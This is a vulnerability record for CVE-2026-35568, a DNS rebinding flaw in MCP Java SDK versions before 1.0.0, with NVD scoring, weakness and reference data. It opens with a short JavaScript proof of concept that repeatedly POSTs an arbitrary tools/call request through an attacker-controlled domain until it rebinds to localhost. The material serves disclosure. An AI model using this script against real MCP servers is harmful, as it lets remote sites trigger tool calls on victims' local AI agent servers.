CVE-2026-35568

<!-- Conceptual PoC for DNS Rebinding against MCP Java SDK --> <!-- Attacker controls the DNS server for malicious.com --> <!-- DNS initially points to Attacker IP, then rebinds to 127.0.0.1 --> <script> const targetUrl = 'http://malicious.com:port'; // Assuming the SDK runs on a known port const payload = { method: 'tools/call', params: { name: 'arbitrary_tool', arguments: { 'malicious_param': 'value' } } }; function attemptExploit() { fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(response => response.text()) .then(data => console.log('Exploit Success:', data)) .catch(error => { // DNS rebinding might take time, retry until successful or timeout console.log('Waiting for DNS rebinding...'); }); } // Poll to catch the moment DNS rebinds to the local IP setInterval(attemptExploit, 1000); </script>

{"cve": {"id": "CVE-2026-35568", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:23.433", "lastModified": "2026-04-14T19:31:16.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MCP Java SDK is the official Java SDK for Model Context Protocol servers and clients. Prior to 1.0.0, the java-sdk contains a DNS rebinding vulnerability. This vulnerability allows an attacker to access a locally or network-private java-sdk MCP server via a victims browser that is either local, or network adjacent. This allows an attacker to make any tool call to the server as if they were a locally running MCP connected AI agent. This vulnerability is fixed in 1.0.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mcp_java_sdk:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.0", "matchCriteriaId": "61DEEBD3-7F83-4A75-9FC1-A2A5D2A9F50A"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/java-sdk/releases/tag/v1.0.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/modelcontextprotocol/java-sdk/security/advisories/GHSA-8jxr-pr72-r468", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}